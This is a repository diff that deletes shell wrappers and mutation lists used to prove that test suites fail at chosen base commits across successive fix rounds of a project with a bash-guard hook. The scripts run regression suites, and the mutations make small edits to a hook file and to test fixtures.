if [ -z "$OTHER_D" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D" --mutations "$ROOT/tests/fix-round-4-5b-part-4-mutations.mjs" $FILES
|
||||
|
|
@ -1,51 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-4-regression.sh
|
||||
# The Regression: of fix round 4-5b, part 4 (decision 90): the whole suite
|
||||
# (npm test), part 4's end to end (tests/e2e-fix-round-4-5b-part-4.sh),
|
||||
# part 3's (tests/e2e-fix-round-4-5b-part-3.sh), part 2's
|
||||
# (tests/e2e-fix-round-4-5b-part-2.sh), part 1's (tests/e2e-fix-round-4-5b.sh)
|
||||
# and part 4's red proof (tests/fix-round-4-5b-part-4-red.sh). The 4-5a,
|
||||
# part-1, part-2 and part-3 red proofs are not run here: one Regression
|
||||
# command has the criteria runner's 15-minute cap; they run as their own
|
||||
# Verification lines.
|
||||
# All six run, in that order; the script prints each exit and exits with the
|
||||
# first non-zero status, or 0 when all six exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
npm test
|
||||
rc=$?
|
||||
echo "regression: npm test exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-3.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-3.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5b-part-4-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b-part-4-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-red.sh
|
||||
# The red proof of fix round 4-5b (brief: fixed boundary 4), as a wrapper over
|
||||
# the shared red script tests/helpers/red-round.sh. Every id of the round has
|
||||
# tests whose names start with "[id]"; each of them must fail on an assertion
|
||||
# at the round's start point be0b631, or, for an id a mutation names, under
|
||||
# that mutation.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, --ids IDS (the round's 41 ids), the round's FILES;
|
||||
# --other-ids: the ids of fix round 4-5a, read with sed from the IDS= line
|
||||
# of tests/fix-round-4-5a-red.sh (a tag on that list is not judged);
|
||||
# --mutations tests/fix-round-4-5b-mutations.mjs (its ids are pass-ids at
|
||||
# the start point and are proven red under their mutations);
|
||||
# --require-sha256: the round has SHA-256 tests, so a git that cannot
|
||||
# create a SHA-256 repository is a setup failure, not a silent skip.
|
||||
# The shared script clones the start point outside the repo, puts the working
|
||||
# tree's tests/ in it, runs every tagged test of the files once, lets
|
||||
# tests/helpers/red-judge.mjs decide, then applies each mutation, runs that
|
||||
# id's tests, judges and restores.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on the 4-5a IDS= line); never 0 on a setup failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=be0b631fed21942b6c0fdae570b58e4112f8242d
|
||||
IDS='M6 M11 M4 m4 M3 M7 M7r E22c E22e M5 S3 E20 M9 M2 K3 M1 M1r E23a E23b E23d E23f M8 M10 DJ5 M13 K2 DJ1 DJ2 DJ4 DJ4r E14 E16a E17a E17b E18a Da Db K4 ARG PTR RS'
|
||||
FILES='tests/lib/verdict-gate.test.mjs tests/lib/done-line.test.mjs tests/lib/park-attempt-files.test.mjs tests/scripts/trekreview-armb-workflow.test.mjs tests/lib/coordinator-contract.test.mjs tests/lib/red-judge.test.mjs tests/lib/red-script.test.mjs tests/lib/review-recurrence.test.mjs tests/lib/arg-parser.test.mjs tests/commands/trekendsession.test.mjs tests/validators/next-session-prompt-validator.test.mjs tests/lib/fix-round-4-5b-prose.test.mjs tests/lib/fix-round-4-5a-prose.test.mjs tests/scripts/release-check.test.mjs'
|
||||
|
||||
OTHER=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER" --mutations "$ROOT/tests/fix-round-4-5b-mutations.mjs" --require-sha256 $FILES
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-regression.sh
|
||||
# The Regression: of fix round 4-5b's steps: the whole suite (npm test), the
|
||||
# 4-5a red proof (tests/fix-round-4-5a-red.sh, a wrapper over the shared red
|
||||
# script) and the 4-5a end to end (tests/e2e-fix-round-4-5a.sh, which npm test
|
||||
# only pins statically). All three run; the script exits with the first
|
||||
# non-zero status, or 0 when all three exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
npm test
|
||||
rc=$?
|
||||
echo "regression: npm test exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5a-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5a-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5a.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5a.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,62 +0,0 @@
|
|||
// tests/fix-round-4-5b2-a-mutations.mjs
|
||||
// The mutations of fix round 4.5b2, part A (plan
|
||||
// .claude/projects/2026-10-31-guard-4-5b2-part-a, Step 5, 5a; decisions 91,
|
||||
// 107 and 123), for the shared red script (tests/helpers/red-round.sh,
|
||||
// through tests/helpers/red-mutate.mjs).
|
||||
// An id named here has tests that pass at the round's start point e2d6bec and
|
||||
// is proven red under its mutations instead:
|
||||
// - RXT: the try already holds the regex reading's escape limit at e2d6bec
|
||||
// (the round adds only its test, which forces an error there through a
|
||||
// preload); the mutation opens the try after the regex reading, in
|
||||
// e2d6bec's hook, so that error escapes it.
|
||||
// - CNT: the first-<< search already takes a line continuation between the
|
||||
// two < at e2d6bec; the mutation drops that branch, in e2d6bec's hook.
|
||||
// - HDR: the false-stops header is corrected in the working tree's tests/
|
||||
// that the script copies into the clone; the mutation puts the wrong red
|
||||
// base back.
|
||||
// Every span must match exactly once in the clone (e2d6bec's code with the
|
||||
// working tree's tests/). Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [
|
||||
{
|
||||
key: 'RXT-try',
|
||||
id: 'RXT',
|
||||
what: 'the try opens after the regex reading',
|
||||
spans: [
|
||||
{
|
||||
file: 'hooks/scripts/pre-bash-executor.mjs',
|
||||
find: ' let argsVerdict = null;\n try {\n',
|
||||
replace: ' let argsVerdict = null;\n',
|
||||
},
|
||||
{
|
||||
file: 'hooks/scripts/pre-bash-executor.mjs',
|
||||
find: ' let bodyFrom = Infinity;\n',
|
||||
replace: ' try {\n let bodyFrom = Infinity;\n',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'CNT-regex',
|
||||
id: 'CNT',
|
||||
what: 'the first-<< search loses its continuation branch',
|
||||
spans: [
|
||||
{
|
||||
file: 'hooks/scripts/pre-bash-executor.mjs',
|
||||
find: 'const h = /<(?:\\\\\\n)*</.exec(text);',
|
||||
replace: 'const h = /<</.exec(text);',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'HDR-header',
|
||||
id: 'HDR',
|
||||
what: 'the false-stops header names the wrong red base again',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/hooks/bash-guard-false-stops.test.mjs',
|
||||
find: 'loads at 591f3c4',
|
||||
replace: 'loads at 12bca8b',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
|
@ -1,68 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b2-a-red.sh
|
||||
# The red proof of fix round 4.5b2, part A (plan
|
||||
# .claude/projects/2026-10-31-guard-4-5b2-part-a/plan.md, Step 5, 5b;
|
||||
# decisions 91, 107 and 123), as a wrapper over the shared red script
|
||||
# tests/helpers/red-round.sh. Every id of the round has tests whose names
|
||||
# start with "[id]"; SFX, ESR, EVL, KIA and SIS must each fail on an assertion
|
||||
# at the round's start point e2d6bec, and RXT, CNT and HDR, whose tests pass
|
||||
# there, are proven red under their mutations.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, the full sha of e2d6bec;
|
||||
# --ids IDS (the round's 8 ids);
|
||||
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
|
||||
# part 3 and of part 4, read with sed from the IDS= lines of
|
||||
# tests/fix-round-4-5a-red.sh, tests/fix-round-4-5b-red.sh,
|
||||
# tests/fix-round-4-5b-part-2-red.sh, tests/fix-round-4-5b-part-3-red.sh
|
||||
# and tests/fix-round-4-5b-part-4-red.sh and passed as ONE value, in that
|
||||
# order (the shared script keeps only the last --other-ids it is given);
|
||||
# a tag on that list is not judged;
|
||||
# --mutations tests/fix-round-4-5b2-a-mutations.mjs (RXT-try, CNT-regex,
|
||||
# HDR-header);
|
||||
# the round's FILES: the two tagged test files. The keep file
|
||||
# (tests/hooks/bash-guard-4-5b2-a-known.test.mjs) holds at e2d6bec by
|
||||
# design and its tag is no red-proof id; the corpus test and the scripts
|
||||
# test are untagged; none of the three is listed.
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on one of the five older IDS= lines); never 0 on a setup
|
||||
# failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=e2d6beccb7ea38cb8d596b6a35bcad0232ae3ca1
|
||||
IDS='RXT CNT SFX ESR EVL KIA HDR SIS'
|
||||
FILES='tests/hooks/bash-guard-4-5b2-a.test.mjs tests/lib/fix-round-4-5b2-a-prose.test.mjs'
|
||||
|
||||
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
|
||||
if [ -z "$OTHER_C" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
|
||||
if [ -z "$OTHER_D" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
|
||||
if [ -z "$OTHER_E" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E" --mutations "$ROOT/tests/fix-round-4-5b2-a-mutations.mjs" $FILES
|
||||
|
|
@ -1,72 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b2-a-regression.sh
|
||||
# The Regression: of fix round 4.5b2, part A (plan
|
||||
# .claude/projects/2026-10-31-guard-4-5b2-part-a/plan.md, Step 5, 5c;
|
||||
# decisions 91, 107 and 123): the whole suite (npm test, which runs the keep
|
||||
# file and the corpus test too), the round's bypass corpus
|
||||
# (tests/guard-bypass-corpus-4-5b2-a.sh), the round's end to end
|
||||
# (tests/e2e-fix-round-4-5b2-a.sh), part 4's, part 3's, part 2's and part 1's
|
||||
# end to end (tests/e2e-fix-round-4-5b-part-4.sh,
|
||||
# tests/e2e-fix-round-4-5b-part-3.sh, tests/e2e-fix-round-4-5b-part-2.sh,
|
||||
# tests/e2e-fix-round-4-5b.sh), the round's red proof
|
||||
# (tests/fix-round-4-5b2-a-red.sh) and part 4's red proof
|
||||
# (tests/fix-round-4-5b-part-4-red.sh, which lists the false-stops file this
|
||||
# round edited). The 4-5a, part-1, part-2 and part-3 red proofs are not run
|
||||
# here: one Regression command has the criteria runner's 15-minute cap; they
|
||||
# run as their own Verification lines.
|
||||
# All nine run, in that order; the script prints each exit and exits with the
|
||||
# first non-zero status, or 0 when all nine exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
npm test
|
||||
rc=$?
|
||||
echo "regression: npm test exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/guard-bypass-corpus-4-5b2-a.sh
|
||||
rc=$?
|
||||
echo "regression: tests/guard-bypass-corpus-4-5b2-a.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b2-a.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b2-a.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-3.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-3.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5b2-a-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b2-a-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5b-part-4-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b-part-4-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,32 +0,0 @@
|
|||
// tests/fix-round-4-5b2-b-mutations.mjs
|
||||
// The mutations of fix round 4.5b2, part B (plan
|
||||
// .claude/projects/2026-10-31-review-gate-4-5b2, Step 16; decisions 129 and
|
||||
// 132), for the shared red script (tests/helpers/red-round.sh, through
|
||||
// tests/helpers/red-mutate.mjs).
|
||||
// Every other id of the round is new behaviour whose tests fail on an
|
||||
// assertion at the round's start point 96fba75, and kept behaviour is an
|
||||
// untagged keep: test or a Control: assertion inside a red tagged test.
|
||||
// An id named here has tests that pass at 96fba75 and is proven red under its
|
||||
// mutation instead:
|
||||
// - FXS: the main-merge-declined reason list is in
|
||||
// tests/fixtures/jsonl-schemas.md, under the working tree's tests/ that
|
||||
// the script copies into the clone, so it already holds
|
||||
// review-unanswered there; the mutation takes review-unanswered out of
|
||||
// the fixture's list again.
|
||||
// Every span must match exactly once in the clone (96fba75's code with the
|
||||
// working tree's tests/). Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [
|
||||
{
|
||||
key: 'FXS-fixture',
|
||||
id: 'FXS',
|
||||
what: "the fixture's main-merge-declined reasons lose review-unanswered",
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/fixtures/jsonl-schemas.md',
|
||||
find: '`review-stale`, `review-unanswered`, `review-not-measured`',
|
||||
replace: '`review-stale`, `review-not-measured`',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
|
@ -1,74 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b2-b-red.sh
|
||||
# The red proof of fix round 4.5b2, part B (plan
|
||||
# .claude/projects/2026-10-31-review-gate-4-5b2/plan.md, Step 16; decisions
|
||||
# 129 and 132), as a wrapper over the shared red script
|
||||
# tests/helpers/red-round.sh. Every id of the round has tests whose names
|
||||
# start with "[id]"; each must fail on an assertion at the round's start point
|
||||
# 96fba75, except FXS, whose one case reads a fixture under tests/ that the
|
||||
# script copies into the clone and is proven red under its mutation. Kept
|
||||
# behaviour is an untagged keep: test or a Control: assertion inside a red
|
||||
# tagged test.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, the full sha of 96fba75;
|
||||
# --ids IDS (the round's 20 ids);
|
||||
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
|
||||
# part 3, of part 4 and of 4.5b2 part A, read with sed from the IDS=
|
||||
# lines of tests/fix-round-4-5a-red.sh, tests/fix-round-4-5b-red.sh,
|
||||
# tests/fix-round-4-5b-part-2-red.sh, tests/fix-round-4-5b-part-3-red.sh,
|
||||
# tests/fix-round-4-5b-part-4-red.sh and tests/fix-round-4-5b2-a-red.sh
|
||||
# and passed as ONE value, in that order (the shared script keeps only
|
||||
# the last --other-ids it is given); a tag on that list is not judged;
|
||||
# --mutations tests/fix-round-4-5b2-b-mutations.mjs (one mutation,
|
||||
# FXS-fixture);
|
||||
# the round's FILES: the twelve new tagged test files. The RLS tests live in
|
||||
# tests/lib/review-answers.test.mjs, so tests/scripts/release-check.test.mjs
|
||||
# is not listed. The scripts test is untagged and not listed.
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on one of the six earlier IDS= lines); never 0 on a setup
|
||||
# failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=96fba75996be4fa295d80d7a42c8e3554f7aaae4
|
||||
IDS='CAT V12 RAP ANS RLS PRX RND CAP CRY FXL POL ENG CMD DPR MEV PRB RMP PXB FN1 FXS'
|
||||
FILES='tests/lib/review-answers.test.mjs tests/lib/review-validator-1-2.test.mjs tests/lib/pre-existing.test.mjs tests/lib/review-rounds.test.mjs tests/lib/review-policy.test.mjs tests/lib/engine-findings-compare.test.mjs tests/lib/claude-md-scope.test.mjs tests/hooks/merge-evidence.test.mjs tests/lib/fix-round-4-5b2-b-prose.test.mjs tests/lib/reviewed-commit-parents.test.mjs tests/lib/pre-existing-bound.test.mjs tests/lib/review-finalized.test.mjs'
|
||||
|
||||
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
|
||||
if [ -z "$OTHER_C" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
|
||||
if [ -z "$OTHER_D" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
|
||||
if [ -z "$OTHER_E" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_F=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-a-red.sh")
|
||||
if [ -z "$OTHER_F" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E $OTHER_F" --mutations "$ROOT/tests/fix-round-4-5b2-b-mutations.mjs" $FILES
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b2-b-regression.sh
|
||||
# The regression run of fix round 4.5b2, part B (plan
|
||||
# .claude/projects/2026-10-31-review-gate-4-5b2/plan.md, Step 13): the 4-5b
|
||||
# red proof (tests/fix-round-4-5b-red.sh, decision 128: this round updated
|
||||
# one assertion of the protected 4-5b prose test), then the end to end of
|
||||
# 4.5a (tests/e2e-fix-round-4-5a.sh), of 4.5b part 4
|
||||
# (tests/e2e-fix-round-4-5b-part-4.sh) and of 4.5b2 part A
|
||||
# (tests/e2e-fix-round-4-5b2-a.sh). The round's own red proof and end to end
|
||||
# run as their own Verification lines; the criteria runner caps one command
|
||||
# at 900 s.
|
||||
# All four run, in that order; the script prints each exit and exits with the
|
||||
# first non-zero status, or 0 when all four exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
/bin/bash tests/fix-round-4-5b-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5a.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5a.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b2-a.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b2-a.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,12 +0,0 @@
|
|||
// tests/fix-round-4-5b2-c-mutations.mjs
|
||||
// The mutations of fix round 4.5b2, part C (plan
|
||||
// .claude/plans/trekplan-2026-11-03-review-gate-4-5b2-fixes.md, Step 7;
|
||||
// decisions 135 and 137), for the shared red script
|
||||
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs).
|
||||
// The list is empty: no case of this round reads a file under tests/, so
|
||||
// every id of the round is new behaviour whose tests fail on an assertion at
|
||||
// the round's start point f1f5ab5, and none needs a mutation. Kept behaviour
|
||||
// is an untagged keep: test or a Control: assertion inside a red tagged test.
|
||||
// Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [];
|
||||
|
|
@ -1,77 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b2-c-red.sh
|
||||
# The red proof of fix round 4.5b2, part C (plan
|
||||
# .claude/plans/trekplan-2026-11-03-review-gate-4-5b2-fixes.md, Step 7;
|
||||
# decisions 135 and 137), as a wrapper over the shared red script
|
||||
# tests/helpers/red-round.sh. Every id of the round has tests whose names
|
||||
# start with "[id]"; each must fail on an assertion at the round's start point
|
||||
# f1f5ab5 (part B's head, where all eight defects exist). Kept behaviour is an
|
||||
# untagged keep: test or a Control: assertion inside a red tagged test.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, the full sha of f1f5ab5;
|
||||
# --ids IDS (the round's nine ids);
|
||||
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
|
||||
# part 3, of part 4, of 4.5b2 part A and of 4.5b2 part B, read with sed
|
||||
# from the IDS= lines of tests/fix-round-4-5a-red.sh,
|
||||
# tests/fix-round-4-5b-red.sh, tests/fix-round-4-5b-part-2-red.sh,
|
||||
# tests/fix-round-4-5b-part-3-red.sh, tests/fix-round-4-5b-part-4-red.sh,
|
||||
# tests/fix-round-4-5b2-a-red.sh and tests/fix-round-4-5b2-b-red.sh and
|
||||
# passed as ONE value, in that order (the shared script keeps only the
|
||||
# last --other-ids it is given); a tag on that list is not judged;
|
||||
# --mutations tests/fix-round-4-5b2-c-mutations.mjs (no mutation: no case
|
||||
# of this round reads a file under tests/);
|
||||
# the round's FILES: the seven new tagged test files. The scripts test is
|
||||
# untagged and not listed.
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on one of the seven earlier IDS= lines); never 0 on a setup
|
||||
# failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=f1f5ab5528a376050dd03b7f7ac43f887596c9b4
|
||||
IDS='DUP RSP NRL SYM WHD AMB CLU MMG PRC'
|
||||
FILES='tests/lib/unique-finding-ids.test.mjs tests/lib/review-rounds-stopped-prepare.test.mjs tests/lib/instruction-scope-depth.test.mjs tests/lib/merge-evidence-writer-head.test.mjs tests/hooks/merge-evidence-ambiguous.test.mjs tests/hooks/merge-evidence-many.test.mjs tests/lib/fix-round-4-5b2-c-prose.test.mjs'
|
||||
|
||||
